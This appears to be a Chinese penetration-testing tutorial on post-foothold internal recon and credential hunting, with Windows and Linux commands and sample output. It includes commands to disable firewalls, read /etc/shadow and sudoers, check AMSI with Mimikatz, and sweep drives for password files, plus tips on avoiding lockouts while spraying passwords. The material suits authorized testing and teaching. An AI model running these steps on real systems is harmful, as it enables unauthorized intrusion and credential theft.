在拿下据点后隧道也已经建立,需要经由据点对内网中其他机器横向渗透(Pivot),不断接近靶标,核心手法无非是打漏洞或利用凭证这两种。

目录

1 内网信息收集

外网 Recon 是为了获取入口权限,内网信息收集是为提权和下一步横向移动到其他机器在现有据点做信息工作。简单来说是主要收集网络、凭证这两块信息。

1.1 单机信息收集

为了和域信息收集区分,将每台机器统称单机。

刚拿到权限首先要做的是不是蜜罐,其次确定目标系统上有什么终端防护软件,比如杀软、安全助手,方便后续进行其他操作不会拦截。

在普通 Windows 系统上可以通过命名空间 SecurityCenter2 查询到 Windows 安全中心中的信息,我们可以通过 timestamp 来判断最近一次运行事件。需要注意的是这在 Windows Server 上无法使用。

Windows 安全中心.png

WMIC 查询。

PS C:\Users\gbb> wmic /Node:localhost /Namespace:\\root\SecurityCenter2 Path AntiVirusProduct Get displayName,pathToSignedReportingExe /Format:List


displayName=Windows Defender
pathToSignedReportingExe=%ProgramFiles%\Windows Defender\MsMpeng.exe


displayName=火绒安全软件
pathToSignedReportingExe=D:\Sysdiag\Huorong\Sysdiag\bin\wsctrlsvc.exe

PowerShell 查询。

PS C:\Users\gbb> Get-CimInstance -Namespace root/SecurityCenter2 -ClassName AntivirusProduct


displayName              : Windows Defender
instanceGuid             : {D68DDC3A-831F-4fae-9E44-DA132C1ACF46}
pathToSignedProductExe   : windowsdefender://
pathToSignedReportingExe : %ProgramFiles%\Windows Defender\MsMpeng.exe
productState             : 393472
timestamp                : Tue, 28 Jul 2020 05:51:34 GMT
PSComputerName           :

displayName              : 火绒安全软件
instanceGuid             : {4C17E7AE-043A-D732-91B8-D139C9EB6B26}
pathToSignedProductExe   : D:\Sysdiag\Huorong\Sysdiag\bin\wsctrlsvc.exe
pathToSignedReportingExe : D:\Sysdiag\Huorong\Sysdiag\bin\wsctrlsvc.exe
productState             : 266240
timestamp                : Mon, 16 Oct 2023 10:53:44 GMT
PSComputerName           :

PowerShell 查询 Defender 服务启用状态。

PS C:\Users\gbb> Get-Service WinDefend

Status   Name               DisplayName
------   ----               -----------
Stopped  WinDefend          Microsoft Defender Antivirus Service

查询 Defender 实时保护启用状态。

PS C:\Users\gbb> Get-MpComputerStatus | select RealTimeProtectionEnabled

RealTimeProtectionEnabled
-------------------------
                    False

通过进程名称查询安装了哪些杀软和终端 Agent。常见杀软名称: avList

通过进程名称匹配反病毒软件.png

AMSI 检查。

PS C:\Users\gbb> powershell -c 'Invoke-Mimikatz'
所在位置 行:1 字符: 1
+ Invoke-Mimikatz
+ ~~~~~~~~~~~~~~~
此脚本包含恶意内容,已被你的防病毒软件阻止。
    + CategoryInfo          : ParserError: (:) [], ParentContainsErrorRecordException
    + FullyQualifiedErrorId : ScriptContainedMaliciousContent

1.1.1 进程、服务、应用与任务计划

1.进程

// Windows 进程信息
tasklist /svc
wmic process list brief
Get-Process -Name <Process Name>

// Windows 查看进程名称、进程 ID、进程对应服务
tasklist /SRC
wmic service list brief

// Linux 查看进程
ps aux
ps -ef

// Linux 查看进程,此目录中数字目录是进程 ID,里面是进程文件信息。
ls -al /proc/

// Linux 资源情况展示
top

2.服务

Windows 中 用 net start 查询哪些服务已启动。这里展示的是服务显示名称,而不是真正服务创建时的名称。

PS C:\Users\gbb> net start
已经启动以下 Windows 服务:

   Adguard Service
   Apple Mobile Device Service
   Application Information
   AppX Deployment Service (AppXSVC)
   OpenVPN Agent agent_ovpnconnect
   ......

当然 sc query 也能查看所有 Windows 已经运行的服务信息。其中也包含服务名称和服务显示名称,只是展示样式不方便阅读。

SERVICE_NAME: Adguard Service
DISPLAY_NAME: Adguard Service
        TYPE               : 10  WIN32_OWN_PROCESS
        STATE              : 4  RUNNING
                                (STOPPABLE, NOT_PAUSABLE, ACCEPTS_SHUTDOWN)
        WIN32_EXIT_CODE    : 0  (0x0)
        SERVICE_EXIT_CODE  : 0  (0x0)
        CHECKPOINT         : 0x0
        WAIT_HINT          : 0x0

SERVICE_NAME: agent_ovpnconnect
DISPLAY_NAME: OpenVPN Agent agent_ovpnconnect
        TYPE               : 10  WIN32_OWN_PROCESS
        STATE              : 4  RUNNING
                                (STOPPABLE, NOT_PAUSABLE, IGNORES_SHUTDOWN)
        WIN32_EXIT_CODE    : 0  (0x0)
        SERVICE_EXIT_CODE  : 0  (0x0)
        CHECKPOINT         : 0x0
        WAIT_HINT          : 0x0
......

通过 wmic 查询服务显示名称(条件改成 name 就是查服务名称)得到服务启动的应用程序路径,后面就可以根据路径中的应用名称去进程中同名应用,通过应用的进程 id,结合网络连接中的进程 id 来看开放了哪些端口,这样透过服务到端口后续就可以进一步利用去提权啥的。

PS C:\Users\gbb> wmic service where "displayname like 'OpenVPN Agent agent_ovpnconnect'" get displayname,name,pathname,startmode
DisplayName                      Name               PathName                                                                StartMode
OpenVPN Agent agent_ovpnconnect  agent_ovpnconnect  "C:\Program Files\OpenVPN Connect\agent_ovpnconnect_1692705797176.exe"  Auto

Linux 上查询比较简单直观,这里就只写不太熟悉的 Windows 操作。

// Linux CentOS7 及以前版本来查有哪些服务,状态如何。
service -status-all

// Linux 高版本有哪些服务单元
systemctl -a

// Linux 启动服务
service <Name> start
systemctl start <Name>

// Linux 停止服务
service <Name> stop
systemctl stop <Name>

// Linux 查看服务状态
service <Name> status
systemctl status <Name>

// Linux IANA 默认情况端口对应服务
/etc/services

// Linux 此文件里存放着公钥(~/.ssh/id_rsa.pub、~/.ssh/identity.pub),其他机器使用 SSH 连接会自动拿着自己的私钥(~/.ssh/id_rsa、~/.ssh/identity)与此文件里的公钥匹配,成功即可登录。
cat ~/.ssh/authorized_keys

// Linux 服务端 SSH 配置文件,需要 root 权限读取
cat /etc/ssh/sshd_config

// Linux 客户端端 SSH 配置文件,其他用户可读
cat /etc/ssh/ssh_config

启动项

// 启动程序信息(启动项)
wmic startup get command,caption

3.应用

获取使用 Windows Installer 安装的软件和版本信息,后期可根据版本信息提权。

// 获取不全可以参考此文进行拓展:https://3gstudent.github.io/%E6%B8%97%E9%80%8F%E5%9F%BA%E7%A1%80-%E8%8E%B7%E5%BE%97%E5%BD%93%E5%89%8D%E7%B3%BB%E7%BB%9F%E5%B7%B2%E5%AE%89%E8%A3%85%E7%9A%84%E7%A8%8B%E5%BA%8F%E5%88%97%E8%A1%A8
wmic product get name, version, vendor, InstallLocation

powershell "Get-WmiObject -class Win32_Product | Select-Object -Property name,version,InstallLocation"

4.任务计划

// 计划任务信息,Windows 10 之前可以使用,从 Windows 10 开始此命令废弃改为 schtasks
at

// Windows 10 及以后版本查所有计划任务列表。详情信息。如果执行遇到问题 “错误:无法加载列资源”,更改编码 chcp 437 再执行。
schtasks /query /fo LIST
// /v 可以展示所有详情
schtasks /query /fo LIST /v
// /tn 选项可以读指定任务详情
schtasks /query /tn 任务名称 /fo LIST /v

// Linux 任务计划
// 其中 /etc/crontab 是每个用户的任务计划配置内容,如果任务计划目标要执行的文件可写或可以被替换那么就能提权。
ls -lah /etc/cron*

1.1.2 用户和组

当前主机或用户是充当什么角色?是 Web、DNS、DB、File、Proxy、Gateway 吗?

当前用户权限是什么?查看当前用户权限。

C:\Users\gbb>whoami /all

用户信息
----------------

用户名       SID
============ ==============================================
raingray\gbb S-1-5-21-3024751843-2535029458-3924619718-1001


组信息
-----------------

组名                                   类型   SID
                                  属性
====================================== ====== =========================================================================================================== ==============================
Mandatory Label\Medium Mandatory Level 标签   S-1-16-8192

Everyone                               已知组 S-1-1-0
                                  必需的组, 启用于默认, 启用的组
NT AUTHORITY\本地帐户和管理员组成员    已知组 S-1-5-114
                                  只用于拒绝的组
BUILTIN\Administrators                 别名   S-1-5-32-544
                                  只用于拒绝的组
BUILTIN\Performance Log Users          别名   S-1-5-32-559
                                  必需的组, 启用于默认, 启用的组
BUILTIN\Users                          别名   S-1-5-32-545
                                  必需的组, 启用于默认, 启用的组
NT AUTHORITY\INTERACTIVE               已知组 S-1-5-4
                                  必需的组, 启用于默认, 启用的组
CONSOLE LOGON                          已知组 S-1-2-1
                                  必需的组, 启用于默认, 启用的组
NT AUTHORITY\Authenticated Users       已知组 S-1-5-11
                                  必需的组, 启用于默认, 启用的组
NT AUTHORITY\This Organization         已知组 S-1-5-15
                                  必需的组, 启用于默认, 启用的组
MicrosoftAccount\jiaegbb@gmail.com     用户   S-1-11-96-3623454863-58364-18864-2661722203-1597581903-396989860-1997158695-468722874-3650037168-2631757137 必需的组, 启用于默认, 启用的组
NT AUTHORITY\本地帐户                  已知组 S-1-5-113
                                  必需的组, 启用于默认, 启用的组
LOCAL                                  已知组 S-1-2-0
                                  必需的组, 启用于默认, 启用的组
NT AUTHORITY\云帐户身份验证            已知组 S-1-5-64-36
                                  必需的组, 启用于默认, 启用的组


特权信息
----------------------

特权名                        描述                 状态
============================= ==================== ======
SeShutdownPrivilege           关闭系统             已禁用
SeChangeNotifyPrivilege       绕过遍历检查         已启用
SeUndockPrivilege             从扩展坞上取下计算机 已禁用
SeIncreaseWorkingSetPrivilege 增加进程工作集       已禁用
SeTimeZonePrivilege           更改时区             已禁用

Linux 显示当前用户名,UID 和 GID。

ubuntu@TeamServer:~$ whoami
ubuntu
ubuntu@TeamServer:~$ id
uid=1000(ubuntu) gid=1000(ubuntu) groups=1000(ubuntu),4(adm),20(dialout),24(cdrom),25(floppy),27(sudo),29(audio),30(dip),44(video),46(plugdev),117(netdev),118(lxd)

Windows 当前主机名是什么,通常可以用来判断主机角色,用途是什么。

C:\Users\gbb>hostname
raingray

Windows 查询用户详细信息,可能会有注释说明用户用途。还能发现账户命名规则是怎样的,有可能大部分系统账户命名规则都一样,可以复用来爆破密码。

net user <UserName>

系统密码策略细节是什么?Windows 查询当前用户密码策略,方便制定测试策略,比如喷洒其他账户时参考策略设置避免账户锁定。

C:\Users\wuhui>net accounts
强制用户在时间到期之后多久必须注销?:     从不
密码最短使用期限(天):                    1
密码最长使用期限(天):                    42
密码长度最小值:                          7
保持的密码历史记录长度:                  24
锁定阈值:                                从不
锁定持续时间(分):                        10
锁定观测窗口(分):                        10
计算机角色:                              WORKSTATION
命令成功完成。

密码和锁定策略说明:

  • 密码最短使用期限(天),密码在指定天数内无法修改必须用多少天
  • 密码最长使用期限(天),密码最长用多少天后过期
  • 密码长度最小值,密码至少多长度。
  • 保持的密码历史记录长度,记录用户以前的密码,修改密码时会比较,避免密码重用,如果在以前用过的 24 个范围内则不让修改。
  • 锁定阈值,None 不启用锁定策略,如果是数字 3 则代表登录失败 3 次后启用锁定
  • 锁定持续时间(分),账户锁定多少分钟
  • 锁定观测窗口(分),失败次数计数器重置时间,多久重置为 0。

Windows 查看系统所有用户。

C:\Users\wuhui>net user

\\DESKTOP-5T90749 的用户帐户

-------------------------------------------------------------------------------
Administrator            DefaultAccount           Guest
WDAGUtilityAccount       wuhui
命令成功完成。

Windows 查看系统所有组,用于区分角色,访问了解当前系统有哪些角色。

C:\Users\wuhui>net localgroup

\\DESKTOP-5T90749 的别名

-------------------------------------------------------------------------------
*Access Control Assistance Operators
*Administrators
*Backup Operators
*Cryptographic Operators
*Device Owners
*Distributed COM Users
*Event Log Readers
*Guests
*Hyper-V Administrators
*IIS_IUSRS
*Network Configuration Operators
*Performance Log Users
*Performance Monitor Users
*Power Users
*Remote Desktop Users
*Remote Management Users
*Replicator
*System Managed Accounts Group
*Users
命令成功完成。

要查看某个组内用户就跟上组名。

C:\Users\wuhui>net localgroup administrators
别名     administrators
注释     管理员对计算机/域有不受限制的完全访问权

成员

-------------------------------------------------------------------------------
Administrator
RAINGRAY0\Domain Admins
wuhui
命令成功完成。

Windows 查看用户家目录 %USERPROFILE%(%SystemDrive%%HOMEPATH% 也可以查到),可以翻文件,比如 SSH 服务,和其他配置文件。

C:\Users\gbb>echo %USERPROFILE%
C:\Users\gbb
C:\Users\gbb>dir /A %USERPROFILE%
 驱动器 C 中的卷是 System
 卷的序列号是 26C4-53F2

 C:\Users\gbb 的目录

2023/10/18  09:53    <DIR>          .
2023/10/17  08:39    <DIR>          ..
2023/04/05  22:59             3,565 .aggressor.prop
2023/06/12  10:05    <DIR>          .android
2021/04/05  00:27                 0 .bashrc
2022/10/03  11:20             1,474 .bash_history
2021/04/23  10:42               104 .bash_profile
......

Linux 查以前都有谁登录过登录了多久。

ubuntu@TeamServer:~$ who
ubuntu   pts/0        2023-10-18 07:31 (223.104.41.168)
ubuntu   pts/1        2023-03-16 03:11 (tmux(21910).%13)
ubuntu   pts/2        2023-02-10 02:51 (tmux(21910).%1)
ubuntu   pts/3        2023-04-13 02:11 (tmux(21910).%17)
ubuntu   pts/4        2023-02-20 14:49 (tmux(155706).%0)
ubuntu   pts/5        2023-03-04 17:40 (tmux(21910).%10)
ubuntu   pts/6        2023-04-19 03:14 (tmux(21910).%18)
ubuntu   pts/7        2023-04-19 06:01 (tmux(21910).%19)

更详细的信息使用 w 还可以查询登陆的用户从哪里登录的,以及当前执行了什么命令。

ubuntu@TeamServer:~$ w
 07:31:47 up 251 days, 22:43,  8 users,  load average: 0.56, 0.12, 0.04
USER     TTY      FROM             LOGIN@   IDLE   JCPU   PCPU WHAT
ubuntu   pts/0    223.104.41.168   07:31    2.00s  0.03s  0.00s w
ubuntu   pts/1    tmux(21910).%13  16Mar23 142days  0.03s  0.03s -bash
ubuntu   pts/3    tmux(21910).%17  13Apr23 180days  0.13s  0.13s -bash
ubuntu   pts/5    tmux(21910).%10  04Mar23 194days 18:38  18:38  ssh -N -R 8443:127.0.0.1:443 root@185.238.250.79

还可以查以前都有谁登录。

ubuntu@TeamServer:~$ last
ubuntu   pts/0        223.104.41.168   Wed Oct 18 07:31   still logged in
ubuntu   pts/0        223.104.41.168   Wed Oct 18 07:27 - 07:28  (00:01)
root     pts/3        223.104.41.104   Mon Apr 10 06:38 - 06:38  (00:00)
c5       pts/3        223.104.41.104   Mon Apr 10 06:07 - 06:07  (00:00)
c5       pts/3        223.104.41.104   Mon Apr 10 06:06 - 06:06  (00:00)2)
ubuntu   pts/0        54.240.200.68    Wed Feb  8 08:49 - 08:53  (00:03)
reboot   system boot  5.4.0-1018-aws   Wed Feb  8 08:47   still running
......
// Linux 查看所有用户信息,能不能登录,用户名、UID、GID 是什么。只 root.root 有权限读此文件。
cat /etc/passwd

// Linux 系统密码存放文件。只 root.root 有权限读此文件。
/etc/shadow

// Linux BSD 系统密码文件,等同于 /etc/shadow
cat /etc/master.passwd

// Linux 用户组
cat /etc/group

// Linux 哪些用户能够使用 sudo,只 root.root 有权限读此文件。
cat /etc/sudoers

// Linux 查看 sudo 程序版本
sudo -V

// 收集当前 /home 下所有 Shell 的配置文件,但实际用户 home 目录不一定在 /home 下,这时候需要查看 /etc/passwd 来确认
// - Bash:.bashrc、.bash_profile、.bash_logout、.bash_history
// - zsh:.zsh_history
// - ksh
// 一把梭待收集完成。
// find /home -name .bashrc -exec cat {} \; | tee -a conf.txt
// find /home -iname ".*rc" -o -name ".*profile" -o -name ".*logout" -o -name ".*history" -name ".*sh" | tee -a conf.txt

// Linux 查看环境变量配置
cat /etc/profile
cat ~/.bash_profile
cat /etc/bashrc

// Linux 查看当前用户 Shell 历史执行命令。
cat ~/.bash_history
history

// Linux 用户退出 Shell 执行的命令
cat ~/.bash_logout

当前主机管理员是否在线,系统时间是多少,用于判断上机习惯,通过截图(Screenshots)确认当前桌面状态。

// Windows 查有哪些用户会话正在连接,可以判断用户什么时候连接进来,空闲了多久没用。
query user
qwinsta

// Linux 当前有哪些用户登录
w

// Linux 上一次用户登录记录
last

// Linux 展示每个用户最近一次登录的时间
lastlog
// Linux 指定用户登录情况
lastlog -u <UserName> 

// Windows 查看主机开启日期
net statistics workstation

// Windows 展示本地计算机与客户端的对话(Win11 下普通权限无法执行)
net session

截图使用 Meterpreter 或 Cobalt Strike Beacon 实施。

1.1.3 系统

1.查看系统信息,供后续提权用。

systeminfo 主要有什么信息?

C:\Users\gbb>SYSTEMINFO

主机名:           RAINGRAY
OS 名称:          Microsoft Windows 11 家庭中文版
OS 版本:          10.0.22621 暂缺 Build 22621
OS 制造商:        Microsoft Corporation
OS 配置:          独立工作站
OS 构建类型:      Multiprocessor Free
注册的所有人:     gbb
注册的组织:       暂缺
产品 ID:          00342-35884-34960-AAOEM
初始安装日期:     2022/9/22, 20:38:03
系统启动时间:     2023/10/17, 8:32:32
系统制造商:       LENOVO
系统型号:         82B6
系统类型:         x64-based PC
处理器:           安装了 1 个处理器。
                  [01]: AMD64 Family 23 Model 96 Stepping 1 AuthenticAMD ~2900 Mhz
BIOS 版本:        LENOVO EUCN39WW, 2022/9/9
Windows 目录:     C:\WINDOWS
系统目录:         C:\WINDOWS\system32
启动设备:         \Device\HarddiskVolume1
系统区域设置:     zh-cn;中文(中国)
输入法区域设置:   zh-cn;中文(中国)
时区:             (UTC+08:00) 北京,重庆,香港特别行政区,乌鲁木齐
物理内存总量:     32,125 MB
可用的物理内存:   21,368 MB
虚拟内存: 最大值: 34,173 MB
虚拟内存: 可用:   20,611 MB
虚拟内存: 使用中: 13,562 MB
页面文件位置:     C:\pagefile.sys
域:               WORKGROUP
登录服务器:       \\RAINGRAY
修补程序:         安装了 4 个修补程序。
                  [01]: KB5030651
                  [02]: KB5012170
                  [03]: KB5031354
                  [04]: KB5031592
网卡:             安装了 11 个 NIC。
                  [01]: VMware Virtual Ethernet Adapter for VMnet1
                      连接名:      VMware Network Adapter VMnet1
                      启用 DHCP:   否
                      IP 地址
                        [01]: 192.168.5.1
                        [02]: fe80::d155:6d8b:78d3:175b
                  ......
Hyper-V 要求:     已检测到虚拟机监控程序。将不显示 Hyper-V 所需的功能。

主要查看更新的补丁,这里发现 KB 开头的四个补丁。之后可以针对系统已有缺陷打 MS17010,MS08067,CVE2019-0708 等通用漏洞。

PS C:\Users\gbb> systeminfo | findstr KB
                  [01]: KB5030651
                  [02]: KB5012170
                  [03]: KB5031354
                  [04]: KB5031592

也可以用 wmic 获取更新补丁名称、补丁号、描述、安装时间,与 systeminfo 相互补充。

PS C:\Users\gbb> wmic qfe get Caption,Description,HotFixID,InstalledOn
Caption                                     Description      HotFixID   InstalledOn
http://support.microsoft.com/?kbid=5030651  Update           KB5030651  10/12/2023
https://support.microsoft.com/help/5012170  Security Update  KB5012170  12/7/2022
https://support.microsoft.com/help/5031354  Security Update  KB5031354  10/12/2023
                                            Update           KB5031592  10/12/2023

此外还能观察到系统版本、类型,方便运行我们的程序,64 位能运行 32 位程序,32 位则不能运行 64 位。

C:\Users\gbb>:: 查看英文系统信息
C:\Users\gbb>:: systeminfo | findstr /B /C:"OS Name" /C:"OS Version"
C:\Users\gbb>
C:\Users\gbb>:: 查看中文系统信息
C:\Users\gbb>systeminfo | findstr /B /C:"OS 名称" /C:"OS 版本" /C:"系统类型:"
OS 名称:          Microsoft Windows 11 家庭中文版
OS 版本:          10.0.22621 暂缺 Build 22621
系统类型:         x64-based PC
C:\Users\gbb>
C:\Users\gbb>:: Windows 查看系统架构
C:\Users\gbb>echo %PROCESSOR_ARCHITECTURE%
AMD64

同样 wmic 也能查系统版本和类型。

C:\Users\gbb>:: 查看当前系统版本
C:\Users\gbb>wmic OS get Caption,CSDVersion,OSArchitecture,Version
Caption                          CSDVersion  OSArchitecture  Version
Microsoft Windows 11 Home China              64-bit          10.0.22621
// 查看目录权限
icacls "<DirName>"

// cmd 查看环境变量
set

// powershell 查看环境变量
Get-ChildItem env: | Format-Table -Property Name, Value -Wrap

Linux 系统信息

// 查看主机名
hostname

// 环境变量命令
env
export

// 系统信息、CPU 架构 内核版本
uname -a
cat /proc/version

// 系统信息
cat /etc/*release

// 获取系统名称和版本
cat /etc/*-release

// CPU 信息
cat /proc/cpuinfo

// 获取 SSH 登录后欢迎信息。
cat /etc/issue
cat /etc/motd

// 获取系统内核版本
cat /proc/verson
uname -r

// 查找可写目录
find / -writable -type d 2> /dev/null

// 查找带有 t 权限(Stickybit)的目录。
find / -perm -1000 -type d 2> /dev/null

// CentOS 所有已安装的软件包
rpm -qa

// CentOS 系统软件包详细信息
rpm -qi <PackageName>

// Debian 所有已安装的软件包信息
dpkg -l

// CentOS 系统指定软件包详细信息
dkpg -l <PackageName>

// Linux 日志存放目录
ls -al /var/log/

1.1.4 网络

分析当前主机位于什么网络位置?DMZ、办公、生产还是数据区,通过各种网络命令查找能够通信的网段,画出网络架构图,确定攻击范围。

// Windows 查看网卡信息
ifconfig /all

// Linux 查看所有网卡
ifconig -a
ip a

// 用 tcudump 抓网卡流量。

// 查看 Windows 主机 hosts
type C:\Windows\System32\drivers\etc\hosts

// 查看 Linux 主机 Hosts
cat /etc/hosts

// Windows 查 DNS 缓存信息
ipconfig /displaydns

// Linux 查看 DNS 服务器
cat /etc/resolv.conf

// Windows 查询路由表
route print

// Linux 查看路由表
route -e

// Windows 和 Linux 查看 arp 表,同广播域内主机通信 IP 及 MAC。
arp -a

// Linux 观察系统用户登录情况和使用情况,最后是获取 IP,看是公网登录还是内网登录。
last -aWF 观察目标何时登录登出机器,以及现在登录的用户有哪些。
who -a 观察终端上有哪些用户登录
w 当前登录的用户信息,包含 IP、用户名、登录时间、
lastlog 观察目标哪些用户登录过系统

// Windows 和 Linux 查询目前所有端口状态以数字显示及其进程 ID
// 如果 Windows 需要查询指定 <Port> 状态 可以用 findstr,netstat -ano | findstr <Port>
// 如果要筛选协议可以用 -p,比如 TCP,-p tcp
netstat -ano

// 查看 Linux 网络 TCP/UDP 连接状态和哪个进程在使用。
netstat -pantu
ss -anp

// 查看 Windows 防火墙启用状态。
netsh advfirewall show allprofile

// PowerShell 查看 Windows 防火墙启用状态。
Get-NetFirewallProfile | Format-Table Name, Enabled

// PowerShell 粗略查看防火墙规则。后面的 where Enabled -eq "True" 是用于筛选已启用的规则,这条管道删掉就是全部展示,-eq 改为 False 是筛没启用的规则。
Get-NetFirewallRule | where Enabled -eq "True" | Format-List DisplayName, Enabled, Description
// PowerShell 粗略查看某一条防火墙规则。这里也可以结合通配符使用。
// 如果想查某一条规则需要找到真实规则名称,请用下面的 netsh。
Get-NetFirewallRule -DisplayName "*"

// 查看 Windows 防火墙有哪些规则并展示详情,比如入站出站,限制哪些端口。指不定能够得到一些内网之间或相关系统的 IP 白名单。将 name 替换成具体规则显示名称(DisplayName)则只查指定规则,all 是查看所有规则详情。
netsh advfirewall firewall show rule name=all verbose

// WinServer 2003 以前版本关闭防火墙
netsh firewall set opmode disabled

// WinServer 2003 之后版本关闭防火墙
netsh advfirewall set allprofiles state off

// 查看 Linux 防火墙 firewall 所有规则
firewall-cmd --list-all

//查看 Linux 防火墙 iptalbes 所有规则
iptables -L

// 查看 Windows 系统代理连接
REG QUERY "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings" /v ProxyServer

// 查看 Windows 系统代理 PAC 脚本连接
REG QUERY "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings" /v AutoConfigURL

// Windows SSH 查看配置和历史连接信息
%homepath%\.ssh\config
%homepath%\.ssh\known_hosts
%homepath%\.ssh\known_hosts.old

// Linux 下 SSH 配置和链接信息
~/.ssh/config
~/.ssh/known_hosts
~/.ssh/known_hosts.old

确定完网络范围后,去查看当前机器和那些地址通信过的,主要打这些机器,会比扫整个网段好,动静小,避免踩蜜罐。对主机服务侦察,要有目的的扫具体服务端口,可别 1-65535 都扫,范围太广又慢动作又大。关注点放在集权或者存在敏感信息的系统,如运维平台(堡垒机 JumpServer)、安全设备(终端平台联软安全助手/火绒企业版)、代码托管(GitLab/SVN/Git)、虚拟化(Zstack/VMware Esxi)、OA、数据库(Redis/SQLServer)、Wiki(Confluence)、邮箱(Exchange)等,将这些服务端口整理出来针对性搞。

也可以拿下运维人员机器或系统接近目标,一般运维都能够访问大部分网段,或者机器上本来就有跳板机信息,通过跳板机能够访问所有网段机器。

1.1.5 凭证获取

凭证获取相当重要,目标上线后,很可能系统上就存在密码本,里面写着 VPN、Mail 账户,再一个如果应用没启用双因素认证,直接就登录成功,从而获得更多敏感信息。通常来说密码复用的情况不少,通过密码喷洒更方便更快。

Web 站点代码配置及数据库

如果入口是台 Web 服务器,拿到 WebShell 后肯定第一时间翻配置文件找数据库账户,可以获取密码登应用找敏感数据,或者登数据库横向。

1.ASP.NET

以 ASP.NET 站点为例,web.config 中 connectionString 就存放着数据库账户。

能够看到明文那最好了,但在实战中常遇到配置文件凭证被加密存储。

第一种是必须在服务器上解,采用官方提供的工具,如果复制到本机解则会失败。

Web配置文件加密前.png

这里使用 Aspnet_regiis.exe 加密 D:\ 盘下的 web.conf 配置文件,加密具体节点 appSettings。具体加密是用的 Windows 提供 Data Protection API(DPAPI)来加解密数据,每台机器使用的密钥都不同。

Web配置文件加密后.png

解密。

aspnet_regiis -pdf "appSettings" "D:\"

另一种就是程序内置加密密钥,读取配置文件时做加解密,一般翻翻 DLL 找加密。

Enryptonf.png

按照代码写的解。

找 dll 解密方法解密后的明文.png

2.Java

Spring 或 Spring Boot 站点会对 .properties、.yaml、.yml 配置文件中敏感凭证进行加密,最常用的是 Jasypt 第三方组件来加密。

spring:
  autoconfigure:
    exclude: com.alibaba.druid.spring.boot.autoconfigure.DruidDataSourceAutoConfigure
  application:
    name: xxxx
  datasource:
    dynamic.:
      primary: master
      datasource:
        master:
          driver-class-name: oracle.jdbc.driver.OracleDriver
          url: jdbc:oracle:thin:@//hostname:1521/xxdatabase
          username: xxxx
          password: ENC(MJ7tqYzAFkzwzevqKXESiziU2hyg53FZK/oRP43MzEg=)

        slave1:
          driver-class-name: oracle.jdbc.driver.OracleDriver
          url:  jdbc:oracle:thin:@//hostname:1521/xxdatabase
          username: monitor
          password: ENC(boKgmaZEMiRpXs2DunxE9wqzkw42KC7X)

这就需要了解这个工具的用法才能找到对应密钥存放位置,一般来说有这几种查找方法:

  • 可能就放在全局配置文件里,一般是 jasypt.encryptor.password,或者可能使用了 yaml 语法是缩进的,这种可以搜 encryptor 关键字定位;
  • 根据文件名翻字节码,找对应工具类,看看代码里面有没硬编码;
  • 是 SpringBoot Jar 包启动的话,看 Java 运行参数有没有 -Djasypt.encryptor.password=,或者 Jar 包应用参数 --jasypt.encryptor.password
  • 应用读取的是环境变量,可以看看环境变量中有密钥。

这里没谈密钥轮换平台和配置管理工具如 Nacos,这种现在密钥管理方式。

3.PHP

有时候遇到 PHP 代码加密的情况,常见的 PHP 加密工具有 Zend Guard 和 ionCube,怎么识别这个加密到底是哪款工具做的,暂时还不太会分得清,唯一有经验的就是使用 Zend 加密肯定会在 PHP 配置文件中加载 Zend 扩展用于解密代码运行,可以查看配置文件或者 phpinfo() 里面有没有对应关键字。

应用日志

翻完数据库配置文件后,需要重点关注应用输出的日志——不仅限于 Web,也可以是桌面客户端应用,很多应用在为了记录错误信息会把账户给打印到日志中,因为并没有进行二次 hash,在里面可以找到很多敏感信息,如用户名、密码、内网 IP 等内容。

但仅做这一步是不够的,这里是要找文件系统上所有可能存在账户的文件,不仅仅是配置、日志中的账户。

系统文件

一、Windows

可以先看看用户打开过的文件,打开过可能说明经常使用,或者最近使用。先针对性的获取,再查看所有可能的文件

1.获取最近使用的文件的快捷方式
 
%AppData%\Microsoft\Windows\Recent
 
通过 PowerShell 获取指定快捷方式文件目标路径
 
$lnkPath = 'C:\Users\Administrator\AppData\Roaming\Microsoft\Windows\Recent\密码.docx.lnk'; $shell = New-Object -ComObject WScript.Shell; $shortcut = $shell.CreateShortcut($lnkPath); $targetPath = $shortcut.TargetPath; Write-Output "Target Path: $targetPath"
 
2.一把梭,获取所有快捷方式的文件名和路径
 
Get-ChildItem -Path "$env:AppData\Microsoft\Windows\Recent\*.lnk" | ForEach-Object { $shell = New-Object -ComObject WScript.Shell; $shortcut = $shell.CreateShortcut($_.FullName); Write-Output "Original LNK Path: $($_.FullName)`nTarget Path: $($shortcut.TargetPath)`n" }

整体思路是递归搜索所有盘符下文件(包括隐藏文件),采用 FINDSTR 筛选文件后缀的方式过滤出文件清单,接着筛这些文件里的关键词,发现具体敏感内容。这里分两个版本,一个 CMD 另一个 PowerShell,实战中可以写个程序调系统 API 完成自动化自动搜索,目前已经有人这么做了,searchall 项目基本逻辑就是这样。

1.CMD

先看 CMD 怎么做。

FOR %I in (A,B,C,D,E,F,G,H,I,J,K,L,M,N,O,P,Q,R,S,T,U,V,W,X,Y,Z) DO DIR /S /B /A %I:\ 2> nul | FINDSTR /E ".inc .conf .config .properties .json .xls .xlsx .docx .doc .pptx .ppt .ini .xml .log .txt .md .sql .yml .yaml .*密码.* .*运维.* .*账户.* .*拓扑.*" >> filesList.txt

这条语法是用 FOR 循环输出所有 A-Z 盘符(通过 "此电脑 -> 映射网络驱动器" 得知驱动器命名是 A-Z),使用 DIR /S 递归搜索,/B 输出文件绝对路径名,/A 显示出所有隐藏的文件,2> nul 是将 DIR 错误输出内容 ”系统找不到指定的路径。“ 重定向到 NUL 避免显示在屏幕,FINDSTR 正则筛选关键字得到最终包含我们指定关键字的文件列表。这个循环输出的文件内容(如果中文乱码的话,需要手动切换文件编码)。

C:\Users\gbb\Desktop>FOR %I in (A,B,C,D,E,F,G,H,I,J,K,L,M,N,O,P,Q,R,S,T,U,V,W,X,Y,Z) DO DIR /S /B /A %I:\ 2> nul | FINDSTR /E ".inc .conf. .config .xls .xlsx .docx .doc .pptx .ppt .ini .xml .log .txt .yml"

C:\Users\gbb\Desktop>DIR /S /B /A A:\   2>nul  | FINDSTR /E ".inc .conf. .config .xls .xlsx .docx .doc .pptx .ppt .ini .xml .log .txt .yml"

C:\Users\gbb\Desktop>DIR /S /B /A B:\   2>nul  | FINDSTR /E ".inc .conf. .config .xls .xlsx .docx .doc .pptx .ppt .ini .xml .log .txt .yml"

